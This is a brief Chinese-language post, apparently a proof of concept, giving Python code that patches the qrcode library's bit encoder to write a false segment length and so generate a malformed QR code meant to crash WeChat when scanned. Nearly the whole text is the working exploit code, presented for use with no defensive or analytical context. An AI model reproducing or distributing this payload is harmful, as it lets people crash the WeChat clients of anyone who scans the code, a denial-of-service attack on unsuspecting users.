二维码构造poc让微信闪退
pip install qrcode 构建 import qrcode from qrcode.util import * def hack_put(self, num, length): if num == 0: num = 233 for i in range(length): self.put_bit(((num >> (length - i - 1)) & 1) == 1) qrcode.util.BitBuffer.put = hack_put qr = qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_M, mask_pattern=0) num_data = QRData('1145141', MODE_NUMBER) data = QRData(b'.', MODE_8BIT_BYTE) hack_data = QRData(b'', MODE_8BIT_BYTE) qr.add_data(num_data) qr.add_data(data) qr.add_data(num_data) qr.add_data(data) qr.add_data(num_data) qr.add_data(data) qr.add_data(num_data) qr.add_data(hack_data) qr.make_image().show()